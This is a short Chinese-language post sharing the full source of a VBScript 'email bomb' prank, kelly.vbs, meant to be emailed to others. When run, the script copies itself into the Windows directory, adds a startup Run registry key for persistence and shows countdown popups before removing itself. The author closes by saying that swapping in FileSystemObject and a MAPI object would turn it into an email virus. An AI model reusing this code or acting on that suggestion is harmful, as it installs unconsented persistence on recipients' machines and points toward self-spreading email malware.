想起 email 炸弹，我到是曾用 vbscript 做过一个简易版，文件名kelly.vbs，原来是插在邮件里吓人玩的，大家可以看看玩^_^。
dim wshshell,ver
set wshshell = wscript.createobject("wscript.shell")
ver = "《kelly1号》（4月1日版）"
on error resume next
with wshshell
c = .regread("hkcu\software\《kelly1号》邮件炸弹\")
if isempty(c) then
first
else
d = cdate(c) - date()
if d <= 0 then
.regdelete "hkcu\software\microsoft\windows\currentversion\run\lvrui"
.regdelete "hkcu\software\《kelly1号》邮件炸弹\"
.popup "《kelly1号》邮件炸弹因受潮无法爆炸而自毁！您以后不必担心了！",,ver
else
.popup "《kelly1号》邮件炸弹 已经启动！离爆炸时间还有 " & cstr(d) & " 天，请您做好准备。
",,ver
end if
end if
end with
sub first()
with wshshell
.run "xcopy %temp%\kelly.vbs %windir%\"
.regwrite "hkcu\software\microsoft\windows\currentversion\run\lvrui",
wshshell.environment("process").item("windir")+"\kelly.vbs"
.regwrite "hkcu\software\《kelly1号》邮件炸弹\", date()+10
.popup "《kelly1号》邮件炸弹 已经安装成功！每次启动时自动启动，时机成熟时将自动爆炸，请您
做好准备。",,ver
end with
end sub
本炸弹是我以前跟同事开玩笑作着玩的，如果把里面的拷贝过程改成用filesystemobject可在任何系统中运行，另外若创建mapi对象，便可成为email病毒
